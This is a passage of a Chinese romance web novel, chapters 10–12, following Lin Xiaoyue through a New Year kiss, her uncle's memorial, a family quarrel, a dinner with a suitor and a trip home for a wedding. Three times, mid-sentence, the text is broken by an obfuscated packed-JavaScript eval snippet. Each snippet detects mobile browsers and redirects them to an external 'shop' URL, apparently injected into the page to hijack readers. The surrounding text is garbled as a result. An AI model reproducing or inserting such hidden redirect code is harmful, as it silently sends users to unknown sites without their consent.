就在林晓玥怔愣的一瞬间,贺知春一把将她揽进怀里。 “十、九、八……三、二、一!” 天空中升起了各色的气球,林晓玥背包带上的银色气球也飘上了天空。 “玥玥,新年快乐!” “新年快乐,祝你新的一年没有烦恼!” 贺知春目光灼灼盯着林晓玥的嘴唇,林晓玥的呼吸有些急促,第一次和喜欢的人一起跨年,她的目光黏在贺知春的脸上,一刻也不想离开。 贺知春近在咫尺的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993341|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逐渐靠近,呼出的气息洒在她的鼻尖,林晓玥缓缓闭上双眼,摒却外界的喧嚣,用心感受着唇舌交互。 头有些晕,仿佛在深海中浮沉,脚下软绵绵的,她用力攀着贺知春的脖颈汲取力气。 似乎是感受到她的无力,贺知春双手将她的腰箍得更紧了些。 “我很喜欢你!” 喘息的间隙,林晓玥对贺知春告白。 “我也是!” 两个人的热情在盛大庆典旁的角落里隐秘绽放…… “打不到车,怎么回家?” 林晓玥拉开外套的拉链,刚刚亲得有些热,但很快就被贺知春发现了,她又默默把拉链拉了回去。 “只能再多走几条街喽,不然呢?你要跟我回去吗?” “可以吗?”林晓玥很认真地思考起这件事的可行性。 “可以个屁!” 贺知春的手戳在林晓玥的脑门上:“那样的话,你爸妈非得提刀来砍我不可。” “是哦……不是,他们应该没有这么暴力。” “我可不想变成你家餐桌上的一道菜。” “那好吧……看你怂的。” “这不是怂,等我做好准备会亲自上门拜访的。” “那你可要努力一点,早点准备好哦。” “嗯!” “这都走过一条街了还是没有车。” “累啦?” “有点儿。” 贺知春蹲在面前,向林晓玥招手:“上来,背你!” 林晓玥摇摇头:“我怕把你压扁。” 贺知春觉得有些好笑,不住催促道:“照你那个走法,回家天都亮了,到时我跳进黄河都洗不清,真的被大卸八块了。快上来,让你感受一下你男人宽阔的后背。” 为了贺知春的人身安全,林晓玥慢慢挪到贺知春身后趴在他的背上,还没抓稳,贺知春就站起了身,吓得她惊呼出声。 “走喽!” 贺知春的步伐稳健,林晓玥有些困,但还是努力找话题,哼起了猪八戒背媳妇的曲子。 贺知春顺着她说道:“我们回高老庄!” 【翠兰,睡了没?】 林晓玥到家后躺在床上,贺知春弹来一条消息。 【没呢,八戒有何吩咐?】 【没什么,想你了。】 这才刚分开多久啊?林晓玥刚刚想嘲笑他,对面一个视频电话打了过来,吓得她手忙脚乱跑下床去关门。 “你疯啦?!” “咋啦,我胆子大吧?” “你不怕被包饺子了?” “大丈夫什么时候怕过?” “哼,就会说说,我还不知道你?” 林晓玥翻了个身,趴在枕头上,头发顺着肩膀滑落下来披在两边。 “你怎么突然这么好看了?” “什么意思?我哪天不好看?” “我可没那个意思。” 贺知春伸手向屏幕比了个手枪的姿势,然后食指和拇指逐渐捏起来,变成比心。 林晓玥被他这一举动逗笑了,和他一起在屏幕前傻乐。 “困不困?平时都那么早才睡。” 林晓玥摇头又点头:“嗯,有一点,不过能坚持。” “这有什么可坚持的,熬鹰呢?我唱首歌哄你睡觉。” “那你呢?” “我看会儿文献也睡了。” “好。” “想听什么?” “五月天的歌都行。” “行,我想想昂。”贺知春找了一段歌词,“你就是我的天使……” …… “飞过人间的无常,才懂爱才是宝藏……” 林晓玥迷迷糊糊中摁掉手机铃,今天是舅舅的头七,需要去纪念堂看他。 最近可能身心消耗都比较大,林晓玥昨天回家后一觉睡到了大天亮。 贺知春不知道什么时候离开的,自觉地洗好了碗,还顺便把垃圾带走了。 手机上又弹出了一条好友申请,是贺知春昨晚发来的: 【别不要我。】 林晓玥本来想忽略,但手上还在刷牙,一滴水摔在屏幕上,通过了那条申请。 现在立刻删除他应该不会发现吧? 林晓玥刚刚擦干屏幕,对面就发来了消息: 【醒了?】 10. 第 10 章 还是下手慢了,林晓玥心想,犹豫就会败北,这句话一点都没有错。 “唉。”她叹了口气,回复了消息: 【今天有事,回聊。】 【嗯,你忙。】 这时手机铃响了,是妈妈来的:“玥玥,我们快到你那里了,你现在下楼吧。” “好的,我这就下去。” 所有人都穿着一身黑衣,神情肃穆,一如一周前的那天。 只不过这次去的地方是纪念堂,每个“人”都被安放在一间小格子里,舅舅的那间,里面还有一辆小汽车模型,舅妈说舅舅最大的梦想就是退休之后全家一起旅游,看遍祖国的大好河山。 妈妈按人数包了相应的花束,比门口卖的那些不知道要大上去多少,都是鲜花,上面甚至还挂着水珠,绕着临时的祭台围了满满一圈。 摆上祭品,点上香,所有人开始对着那张照片低语。 “哥,我很想你……” “爸,你还好吗……” 林晓玥看着袅袅而上的焚烟嗫嚅着开口:“舅舅,我又梦到你了……” 梦中的林晓玥回到了小时候。 第一场梦是小学时妈妈带自己回老家,坐了一夜的火车,早上五点到了市里的火车站,又转车到了县里,最后坐着三蹦子才到达姥姥家,门口站着姥姥姥爷和舅舅,他们已经在这里等了很久了。 看到他们下了车,姥姥进屋端出了早就在锅里热好的早饭,林晓玥哈欠连天,吃饭饭就开始睡回笼觉,直到吃午饭的时候被叫醒。 林晓玥的起床气从小就很严重,尤其是没睡够的时候,所以被叫醒的她很不情愿,舅舅吴正豪为了哄她开心,从身后掏出了一个红彤彤的山杏。 “给,刚上山摘的,甜的。” 林晓玥接过那颗杏,刚要放进嘴里,就看到一条白色软体动物趴在上面蠕动,手中的动作顿时僵硬了。 “啊!!!” 林晓玥一把扔出那颗杏开始嚎啕大哭:“有虫子!呜呜呜!” 舅舅有些手忙脚乱:“玥玥不哭,舅舅这还有一个。” 吴正豪另一只手又拿出一颗杏,和刚才那颗一样红,这次他检查了一下,外面没有虫子,把杏掰开递给林晓玥。 林晓玥接过那颗杏,看到中间的核上趴着一个似曾相识的刚刚被自己扔出去的物种。 “啊!!!舅舅骗我!” 这次彻底哄不好了,姥姥直接把舅舅撵出了门。 不知为何,当初经历这段的时候明明内心很崩溃,可再次梦回这时,用第三视角看着当时的自己,林晓玥自己竟然把自己笑醒了。 醒了之后,就开始流泪,打湿了枕头,哭累了就又回到了梦中,这次是回到了高考完的那个暑假。 “家里搬家有些忙不过来,你要不回姥姥家待一阵?正好山里凉快。” 妈妈就这样把林晓玥送上了火车。 一觉醒来,刚好到站,林晓玥拉着行李箱站在古老的火车站台上,闻到了久违的燃煤的味道,那是只存在于记忆中的味道,如今漂浮在清晨站台,混杂在吹来的习习凉风之中。 站台上有小摊叫卖着早点,林晓玥没有理会,出了站满是举着牌子揽客的大巴车,通往各个临县和景点。 林晓玥穿过人群,走到马路边拦下了一辆出租车。 “去东桥村多少钱?” “十五块。” “行。”林晓玥拉开车门坐了进去,先给妈妈打了个电话汇报行程,然后又给舅舅拨通了电话:“喂?舅舅,我打上车了,还有十几分钟就到家了……” 舅舅和吴念早早在村口等着,直到一辆蓝色的出租车席卷着尘土出现在前方不远处的土坡上。 林晓玥在陪吴念上支教老师的补课班时,遇到了准备奥赛的贺知春,那是她第一次见到那个做题认真的少年。 之后吴念三番两次带她偷看校草,终于有一天,被本人发现了。 “你们……有什么事吗?” 少年的声音清冷又疏离,拒人于千里之外。 “没事,没事,呵呵。”吴念有些尴尬,拉着林晓玥转身就要逃走。 林晓玥仿佛钉在了地上,两下都没拉动她,吴念好奇回头。 “我能看看你做的题吗?” 少年拒绝的话卡在了喉咙里:“什么?哦……可以。” 贺知春拿过桌上的卷子递给林晓玥:“你也要参加竞赛吗?我们可以交流一下经验。” “她参加什么啊?她今年都考上S大了。”吴念在一旁瞪大双眼解释道。 “S大?”贺知春的眼神明显亮了一瞬,林晓玥敏捷地捕捉到了这一细节。 “你的目标院校也是这里吗?” “嗯……姐姐你考了多少分?” “六百出头。” 这个分数放在林晓玥所在的高中里已经是中下游的水平了,但是在小县城里的学校,也只有贺知春这样的尖子生可以冲一冲。 “我应该可以……我会努力的。” 贺知春并不是自负,他对自己的能力十分有信心。 “加油,那我明年亲自在学校门口等你……” 那个夏天,林晓玥前所未有地放松,还收获了一段珍贵的友谊。 只是后来没有在S大等到他,再次见面,已经是好几年后了,还是以相亲的方式。 林晓玥有一首很喜欢的歌,叫《如烟》,讲的是人生短暂,讲得是追求永恒。她看着面前袅袅而起的香烟即将燃尽,不知怎地就想到了这首歌名,白驹过隙,未知和无常才是常态。 最后一截香灰掉落,最后一颗火星熄灭。 上扬的烟气戛然而止,就像切断了某种联系,人们回到了现实世界里。 艳阳高照,在走出园区的路上,每个人脸上的泪水很快被烤干蒸发掉。 人们在饭桌上谈论着曾经和吴正豪一起经历过的趣事,以此来怀念那段时光。 表哥吴庸先开了口:“我爸爱爬山,他爬山特厉害,我记得有一次回去爬山,另一座山头上有人张着手冲我喊话,当时我还想这个神经病是谁,结果山还没下到一半,我爸就出现在我面前问我刚刚有没有听到他叫我。” “哈哈哈这也太尴尬了,骂了半天的神经病结果是我舅。”林晓玥往碗里夹了一块锅包肉。 “可不是嘛,太尴尬了,我爸也太活泼了。” 年轻时的吴正豪和现在相比更生动,没有后来的沉淀,少了一些严肃和冷静。 老林喝了一口白酒也讲起他年轻时的趣事:“我记得我当时第一次回去的时候,哥骑摩托送我去火车站,路上遇到一个放羊的人在大马路上赶了一群羊,摩托刹不住车就翻了,哥直接跟那个羊倌儿急了,俩人抄起家伙差点就干起来。” “那你呢?” “我在一边站着,也没人管我,想上前拉架又找不到合适的时机,旁边路人拦着不让我上去。” “那是看你太书生气了,怕你进去挨揍。” “当时我被落下,还挺不服气的。” 老林说完这些,举杯又喝了一口酒,是在敬吴正豪,也是在敬年轻时的自己。 “唉……明明眼看着还有几年就退休了……” 现场故作轻松的气氛一下子破碎了,英年早逝这四个字变成了烙印打进所有人的不甘心里。 林晓玥反复咀嚼着这句话有些出神。 “对了,玥玥还没对象呢?” 不知道是谁话锋一转,将话题引到了自己身上,正在愣神的林晓玥突然被点名,清澈的眼神中带了些许茫然。 “啊?” “对,她还没有,谁那有合适的给她介绍一下,都三十的人了……” 吴女士率先替林晓玥抢答道。 “妈,我不急……” 林晓玥打断了吴女士的话,自己已经按照自己的节奏去接触新人了,但如果是被外界命令着做什么事情,她会立刻产生一种叛逆心理,把这件事视为任务之后就会破罐破摔,启动自毁程序。 “我这是为你好,你别不爱听,我们都是过来人,你不找个伴以后一个人多孤单,最好还是本地的,离我们近一些,这样有什么事还能为你撑腰… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993342|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 结婚就真的会幸福吗?那你和我爸还不是吵了十几年的架,后来才回归平静。 林晓玥对妈妈的喋喋不休很不耐烦,但转头看到她鬓间的白发又把自己下意识就想顶嘴的话又咽回了肚子里,只能欲言又止地憋出一句:“知道了。” “玥玥真是长大了。” “越来越懂事了。” 我吗?懂事吗? 林晓玥今天和爸妈一起回去的,直到回到家里,还在思考白天的问题:人活着到底是要为了自己还是为了他人? 【在吗?】 林晓玥给吴念发去一条消息,那边秒回过来: 【小主有何吩咐?】 【在思考人生,有点事想不明白。】 【你说,我听。(虽然听不懂)】 【我们在众人的期许中出生,每一步都走在不负众望上,之后又为家人后代操劳筹谋半生,关于自己的愿望一点也没舍得实现,总是在等,等长大、等毕业、等结婚、等退休……可人生无常,我们为什么不能活在当下,又为什么不顺从自己的心意好好活一次呢?】 林晓玥很矛盾,舅舅的去世让她产生了两个很撕裂的想法,作为家人,她想要满足长辈的期许,让他们少些遗憾,所以她妥协了去相亲。可带入舅舅自己,人活一辈子,总要让自己开心一点吧?谁知道明天和意外那个先来呢? 【嗯……我大概明白你的意思,你就是在纠结为谁而活这个问题。】 吴念一针见血地指出了林晓玥的心事源头。 【对!你怎么看?】 怎么看……吴念曾经也以为自己能无所顾虑地过一辈子的,可天不遂人愿。 【我觉得,你还是要做你自己,这样才能此生无憾。而且,爱你的人也会这样想吧。】 起码吴念是这样认为的,她希望姐姐能快乐。 此生无憾…… 【我知道了,谢谢你~】 【跟我还客气啥,我是你后援会会长!永远支持我月亮女神啦啦啦~】 吴念发送了一连串可爱的表情包,成功逗笑了林晓玥,她放下手机走到客厅里,看着正在看电视的爸妈语气中难得严肃地说道:“我想说个事儿。” 爸妈不约而同地抬头看向她。 “我想辞职。” “不可能。” “想都别想!” 爸妈在林晓玥辞职这件事的态度上十分默契,坚决反对。 “我都三十了,有权利决定自己的人生,也能够对我自己的选择负责。我现在的工作钱少事多离家远,我为什么不能换一个?我连自己的主都做不了吗?” 老林在吴女士发飙之前按住了她:“别的不说,咱就说现在的就业环境,你确定你能凭自己的条件能找到不次于现在的工作?” 吴女士也开口道:“我看你是过得太顺了,不知道社会的险恶,当初多亏你舅舅托关系,才找到这么一份稳定的工作……” “是,我这份工作是多亏了我舅,我怕给他丢人,一不敢张扬声势生怕让别人知道我是走后门进来的给舅舅添麻烦,二是领导给的活儿都干,一个人干两份活拿最少的奖金都不敢有怨言。” “那是你窝囊!有委屈不说,跟你爸一样,就知道跟家里人撒气……” 像是眼睁睁看着火星扔进炸药桶里,林晓玥猛然看向老林,发现他听到这句话后并没有像记忆中那样恼羞成怒暴跳如雷,可她内心还是十分恐慌,心跳声瞬间在耳朵里放大了数十倍,呼吸都有些急促。 “就没有让你满意的人是吧!” 撂下这句话之后,林晓玥头也不敢回,逃一般的回到了自己租住的公寓,直到锁上门,才像躲过一场末日浩劫一般,享受劫后余生的庆幸。 呼…… 林晓玥长舒一口气,还好没有目睹小时候那样的世纪争吵,仿佛那样的场面已经成为林晓玥刻在基因里的恐惧,只要想一想,就会回归被世界抛弃的那个夜晚。 还好,我现在长大了。 林晓玥掏出手机,贺知春的聊天框还停留在前排的位置。 11. 第 11 章 手机中不断弹出新消息的提示音,正在看文献的贺知春不得不点开看,自己被拉进了一个群聊里面。 【哎呦,终于把我们大学霸拉进来了。】 【全群学历最高,现在应该叫贺博士了。】 【听说刚回国@春晓就入职了省中医?】 【那以后看病照你应该很方便。】 贺知春无语,解散了许多年的高中群不知何时被重组了起来,前两天约自己吃饭的一个关系比较好的同学把自己拉进这个群。 贺知春敲下一行字发了出去:【建议没事还是少生病。】 贺知春一句话差点把天聊死。 【你们猜我昨天看到了什么?】 是昨天一起吃饭的同学。 【什么?】 【昨天小贺同学抛下我载了一个美女回家。】 【这么劲爆的八卦?!】 【仔细讲讲,什么美女?比咱们沈班长还好看吗?】 【太远了,没看清,就看到个模糊的背影。】 【那你还好意思说什么美女?】 【美女,是对年轻女性的尊称。】 …… “青青子衿”拍了拍你。 贺知春看到这条拍一拍的同时,这条消息被迅速撤回了。 【这就把我们大班长炸出来了!】 【当年的金童玉女不知道羡煞了多少人。】 沈青青没有再回复任何消息,任凭大家如何八卦,都没有再出现她的头像。 贺知春开启了群聊免打扰,然后退出了群聊界面,打开置顶的聊天框。 背景图是一张雪中夜景,鹅毛一般的大雪从天空中纷纷扬扬落下,在暖光色的路灯中添了几分静谧,而图片下方蹲着一个正在玩雪的女孩子,正在抬着头对镜头笑。 【今天的事情还顺利吗?】 林晓玥正盯着屏幕发呆,贺知春的聊天框一跃而上跑到了第一排,前方多了一个红点。 心跳有一瞬的暂停,吴念的那句此生无憾还在脑海中循环,经久未散。 犹豫片刻后,林晓玥回复了那条消息:【嗯,顺利,不过刚刚和家里吵了一架跑回来了。】 贺知春几乎是秒回:【怎么了?心情不好?】 【还行吧,勇敢迈出做自己的第一步。】 对面的正在输入持续了很久,贺知春打了又删,最终发来一条:【下周可以一起去星星游乐场吗?我有两张门票。】 贺知春所说的星星游乐场是隔壁A市那座非常有名的游乐场,林晓玥很久之前就想去了,说实话,有些心动,尤其是在今天发生的一系列事情之后,林晓玥想要给自己一次机会,一次和自己和解的机会。 但目前还有一个问题…… 【门票多少钱?】 林晓玥习惯性地不想亏欠任何人,毕竟今非昔比,两人的关系不似从前了。 【门票不要钱,我抽奖中的。】 贺知春的话难辨真假,见对面迟迟没有回复消息,贺知春只好发来自己中奖的截图,林晓玥这才放下心来。 【你刚入职就出去玩,会不会不太好?】 贺知春自己都没注意到自己上扬唇角,手中不疾不徐地打着字:【放心,我的岗位是有双休的。】 末了,他想了想又不上一句:【我这个人很有原则,你知道的。】 好像不太妥当,有点油腻,贺知春又删掉了这句话,换成了【那就当你答应我啦?周六早上我来接你,记得定好闹钟哦!】 【嗯,好。】 熄灭了手机屏幕,林晓玥窝在自己的小沙发里,只开了一盏暖黄色的台灯。 总是这样,每次自己觉得生活好了一些的时候,一切都在往正常的、期望的方向发展的时候,总会有一只手把她拽回黑暗的过去。 耳边是无边无尽的争吵,酒瓶仿佛在脚边炸裂,溅起的玻璃渣子崩在自己的脚背上…… 林晓玥一次又一次试图拯救儿时的自己。 她又打开了手机,开始搜索星星游乐场的游玩攻略,从必吃榜到最佳排队路线,她都记在了备忘录上,直到睡觉前才将整理完的攻略发给了贺知春。 对面见她还没睡,发来一张截图。 林晓玥看着截图上面和自己安排相同的顺序,不禁笑出了声。 【跟我出门,你只管带上自己就好。】 【好。】 【晚安。】 【晚安.JPG】 林晓玥回了个表情包。 这天晚上她做了个很奇幻的梦,没有那些争吵的画面,大概是被那些攻略冲淡了。梦中的自己穿着巫师袍参加霍格沃茨的开学典礼,但她不想上学,于是骑着飞天扫帚穿越重重阻碍逃出学校,却在大门口遇到了看守小门的终极BOSS——成龙。 魔杖中一道白光闪过,天亮了。 林晓玥像往常一样匆匆吃过早饭上班,由于有了周六出去玩的计划,周一也变得不那么难熬起来。 “早。” 林晓玥语气轻快地和自己的午饭搭子夏梦打招呼,夏梦是和她同一年进公司的大学生,在研发岗,今年刚刚升了一级,从研究员变成了组长助理。 “今天心情不错啊!” 趁着去办公室拿资料的工夫,夏梦偷偷来八卦。 “还行吧,收留出去散散心。牛马,生来属于旷野。” 夏梦默默竖起大拇指,瞅瞅人家的觉悟。 “和你那个相亲对象?” “哪……”林晓玥一时没有反应过来,“哦,不是,一个朋友。” 糟了,把江远尧忘得一干二净,真是抱歉。 为表歉意,林晓玥打算挑一天请他吃饭,把相亲这件事讲清楚,择日不如撞日,要不就今天? 林晓玥掏出手机给江远尧发信息:【江医生,在吗?】 江远尧估计在忙,中午才回复她:【不好意思,才看到,怎么了?上次补的牙有什么问题?我包售后的!】 【牙很好,胃口也很好,所以今天有空吗?请你吃饭。】 【哪必须有空啊,荣幸之至,想吃什么?还去吃火锅?】 林晓玥想到最近经常刷到的一家很热门的粤菜馆。 【粤菜你爱吃吗?】 【我都行啊,不挑食,好养活。】 不挑食,好养活…… 如果不是头像和背景图不同,林晓玥差点就以为自己穿越回三年前了。 【那就去这里?正好离你诊所不远。】 【好的,我下班去接你。】 【不用麻烦,我坐地铁很顺路。】 江远尧一个电话打过来,还好午休时间人不多,林晓玥走到茶水间接起电话:“怎么了?” 对面是江远尧带着笑意的声音:“这么热的天,还是我去接你吧,正好要送一套模具,就在你们公司附近。” “不麻烦就好。” “怎么会麻烦呢?非常顺路。” 再三确认后,林晓玥才接受了江远尧的建议。 “怎么突然大发慈悲想起来请我吃饭了?” 江远尧看着副驾上的林晓玥笑盈盈地问道。 饭还没吃就直奔了主题,林晓玥一时有些心虚。 “没、没什么,就是前两天有一些忙,突然发现还没好好谢谢你。” “行吧。”江远尧并没有相信林晓玥的这套说辞,“虽然我觉得谢来谢去的很没意思,但和你一起吃饭的机会难得,况且……我们前天才见过,我可以理解为一日不见如隔三秋吗?” 才过去两天吗? 林晓玥有些尴尬,最近脑子都有些糊涂了。 到了那家饭店的时候,林晓玥好像看到一个熟悉的脸,但又想不起来在哪里见过,那人和他的朋友们坐在了他们后方的桌位。 “沈大美女现在还在瑞士呢?” “听说是这样的,昨天不是重新拉了同学群吗?我看她只搭理了贺知春那个小子,对其他人都高冷得不行。” 林晓玥本来没有在意,可后面的人提到了贺知春的名字,她瞬间想起了那个人为何眼熟,她又转头确认了一眼,前两天偶遇贺知春的时候,他们就在一起。 他们口中所提到的沈青青便是和支出你的初恋么…… “说吧,今天请我吃饭到底是何用意啊?” 江远尧声音打断了林晓玥的思路。 “哦,就还挺难开口的,我觉得我们……” “来,尝尝这个卤鸡爪。” 江远尧没有让她继续说下去,因为猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993343|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了她即将要说出什么。 “如果是拒绝我,那你可以暂停一下。相亲只是我们认识的一个途径,两个人认识之后的关系会又很多走向,而结婚只是其中一个结果,不到这一步的时候,我们谁都没有权力预设未来,你说对吗?” 江远尧的语气十分认真。 “对,可是……” “我看出来你很犹豫,心里有一个念念不忘的人。” 江远尧说这话的时候视线向后面那桌瞥去继续说道:“可在结果未定之前,给我一个竞争上岗的机会,好吗?” 林晓乐不忍心再拒绝他,正在纠结的时候,电话响了,是妈妈打过来的,想到昨晚的争吵,林晓玥深吸一口气,走出饭店后接通了电话:“喂,妈。” “玥玥啊,你表哥下周二在老家办婚礼,你要不要多请两天假,提前回来帮忙布置一下?” “怎么这么着急办婚礼,舅舅不是刚走吗?” “这边的习俗,四十九天之内不办婚礼的话,就要再守孝三年,那样的话你舅在下面也不安心啊。” “那好吧,最近应该不是很忙,我这就买票,周日回去。” 这个周末的行程还真是紧张啊! 挂掉电话后,林晓玥就收到了贺知春发来的消息: 【抱歉,国外之前做的项目出了点问题,我需要紧急回去解决一下,去游乐场的事情可能要改期了,对不起啊!】 【没关系,你工作上的事情比较重要,等你忙完再说吧!】 林晓玥非常体面地回了消息,熄灭了手机屏幕没有再看他后面发来的道歉。 “什么事?” 看到林晓玥回来后的脸色不是很好看,江远尧关心道。 “没事,我妈的电话,让我早点回老家帮忙布置表哥婚礼。” “你不愿意回去?” “愿意啊!” 林晓玥调整好自己的情绪,“那里山好水好,就当度假了,这周六就走。” “嗯,回去放松下,顺便考虑一下我,哈哈!” 林晓玥看着江远尧真诚的模样,拒绝的话终究是没说出口。 人与人之间的缘分真的是很奇妙的东西,能够让她何贺知春、江远尧在多年后再次重逢,自然也能让贺知春和他的白月光再续前缘。 如果她没有记错的话,当时他们分手不久之后,贺知春就得到了出国交流的机会,去的国家就是瑞士,而刚刚从后面那桌人的对话中得知,沈青青这么多年,也一直在那里。 林晓玥有些神伤,当初贺知春在她和前途之间选择了前途,林晓玥尊重了他的选择,可她没想到的是,有人站在他的前途中等着他。 “怎么不吃了?发什么呆呢?” 江远尧夹了一块没有骨头的鸡块放进林晓玥的碗里。 “没事,可能有点中暑。你的建议我会认真考虑的。” “我就说我来接你是对的吧,不然中暑会更严重。” 江远尧小跑到前台,拿回一瓶酸梅汤递给林晓玥。 “给,喝点这个,清热解暑。” “谢谢。” 林晓玥掏出手机准备结账,发现已经结过了,她看了看手中的酸梅汤,又看了看江远尧。 “哎呀,我……” 江远尧冲她调皮地眨眨眼:“出来混,哪有让女生结账的道理?” “嗯,话是这么说,可我还是良心有些难安。” 林晓玥捂着心口。 “那就给我带点你们老家的特产吧!现在这个季节都有什么?” 林晓玥沉思片刻,说道:“嗯……山上有酸枣但是这会儿可能还没熟。” “那山上还有什么?山高吗?好爬吗?” “山杏差不多可以吃了,但是有些酸。就是一些小土坡啦,十几分钟就爬到顶了。” “太酸了对牙齿不好哦,还有别的吗?” “对了!我家种了一颗樱桃树,结的本土小樱桃,小小一颗酸酸甜甜的……” “这个可以有,我要这个!” “嗯好,但是不太好带,路上容易压坏。” “那是有些麻烦哦。” “没关系,我想想办法。” “嗯,那你想一想,你那么聪明,肯定有办法……” 12. 第 12 章 周五这天下午,林晓玥交完最后一张报表,拉上早就收拾好的行李箱直奔火车站。 晚上七点半的这趟火车非常合适,一觉醒来就到站了,这对一名社畜来说,省时又便宜。 由于夏天是旅游高峰期,她只抢到了一张上铺的票,把行李放好之后,林晓玥手脚并用灵活地爬到了最顶层。 “我就说个子矮是身高优势……”林晓玥把随身的背包放在枕边,给自己盖上被子,“车上的空调还挺冷。” 林晓玥躺在被窝里刷手机,看到贺知春两天前更新的一条朋友圈。 “之前怎么没有注意过有这个动态?” 她伸出手指将那张照片放大了些,那是一张美食照,桌上有丰盛的海鲜,但当林晓玥放大后才发现,旁边高脚杯的反光里,出现了另一个身影,留着及肩的卷发。 “烦死了!” 林晓玥设置好闹钟,便闭目养神,不再看手机。 这边的山很多,在睡梦中已经经过了不知多少隧道。 凌晨五点的站台有些冷,空气中充满着大自然的气息。 林晓玥跺了跺发麻的脚,顺着人群走出车站拦下一辆出租车,直奔表哥新盖的房子。 村子里的许多人都从山里搬了出来,在靠近村口的地方盖上了小二层,表哥房子是这里面最新的那座。 一进门就看到吴女士和表弟在浙喜糖盒子,林晓玥放下行李之后来帮忙。 “不是说周日回来吗?怎么又提前了一天?” “早点来帮你干活不好啊?” “那当然好啊,我挑的这个盒子好看吧?高端大气上档次。” 吴女士小心翼翼把酒红色的丝带穿过盒子,打了漂亮的蝴蝶结。 “好看,有品味。” “那是,你舅舅不在,我们得帮吴庸把场子撑起来,婚礼的阵仗要大一些,不能让村里的人觉得他家里没人了好欺负。” “是啊,我们这不是都回来了吗?估计明天大家就到齐了。” 林晓玥说着,把手中已经装好喜糖的盒子交给妈妈来封口。 满满一箱子喜糖分装完,就已经接近中午了。大姨专门买了现做的新鲜豆腐,招呼大家都到她家里吃饭。 “你还真别说,我们那买不到这样的豆腐。” “这都是山泉水做的,城里没有。” “我记得我小时候每次回来都家里自己做,我姥爷大早上挑两桶豆子去磨成豆浆,姥姥就在灶边煮,从喝豆浆,到吃豆皮、豆腐脑,到最后的豆腐,感觉把豆腐的一辈子都吃掉了。” 可惜现在家里没人会做了。 林晓玥一个午觉睡到了下午,醒来的时候只有自己一个人在空荡荡的房子里。 “妈?” “哥?” 林晓玥下楼找了一圈,客厅和厨房里也没人,杂物间里传来窸窸窣窣的声音。 闹贼了? 不能啊,村里就这么几户人家,沾亲带故的。 林晓玥轻轻握住门把手,推开一条缝,小心翼翼往里看。 一个小孩子正背对着自己,他的面前是一大盆混在一起的花生瓜子。 “谁家小孩儿啊?” 那孩子转头看过来,眼神有些惊慌。 原来是小侄子,林晓玥长舒一口气。 “你啥时候来的啊?你妈妈呢?” 那孩子指了指后门的方向。 林晓玥推开门,面前是一片菜园子,吴女士正带着姐姐和嫂子在里面采摘,只见她左手捧着黄瓜,右手还攥着一把豆角。 “哎呦我滴妈呀,我刚喊你你咋不答应,我还以为你离家出走了呢!” 看到闺女来了,吴女士几步走到栅栏边,把手里的菜一股脑递给林晓玥:“先拿回去,我抱不动了。” “I服了YOU。” 林晓玥口中抱怨着,但还是把一堆瓜果蔬菜抱回了屋子里,再出来时恰逢太阳落山。 对面就是绵延的青山,此时的太阳落在山头,把山顶的树都镀上了一层金红,山顶风大,几片火烧云被吹散了又聚拢,像是一幅流动的画。 此时此刻,只有静谧和安逸。 乡下有自己的生物钟,第二天天刚亮,林晓玥自动睡意全无,但她还是选择在床上躺到六点才起床,简单洗漱之后继续去表哥家干活。 一进大门就看到两个表弟在挂红绳,绳子上面穿着一串红色的小灯笼,这样的灯串要挂满一排。 兄弟姐妹们几个人席地而坐,分工各不相同,递材料的,贴双面胶的,林晓玥负责把灯笼黏出形状,最后再有人把灯笼串成串。 “好像差不多了。” 林晓玥站起身活动了一下,除了一些残次品,剩下的小灯笼数量刚好足够。 “接下来还有什么?” “其他的不着急,明天再弄也可以,今天休息一天。” “果然人多力量大。” “那必须的,团结就是力量。” 林晓玥下楼清点了一下,明天只需要吹气球和布置新房,到处贴一贴喜字就可以了。 “玥玥。” 吴女士把收尾工作做完之后下楼喊她。 “咋了?” “你不是要上山玩一圈吗?一会儿天热了就不合适了,要去就现在去。” “好,那我拿一瓶水。” 吴女士规划的路线是从表哥家的后山上去,绕一圈从老房子那边下山,那是她小时候经常走的路线。 这天阴天,不是很晒,但还是有些闷热。 林晓玥跟在爸妈后面,身后还有哥哥姐姐,几个人排着队从一条小路往上走。 起初的坡度还不是很陡,远处一人高的草丛里传来声音,由远及近,一辆电动车载着满满一车的草顺着那条他们来时的小路疾驰而下,压实了旁边的几个蚂蚁洞。 “哇塞,牛啊。” “哪有牛?”身后的大侄子问道。 “我说那个大姐……”林晓玥指了指身后,“她都不带刹车的。” “她驮的那些草是啥?” 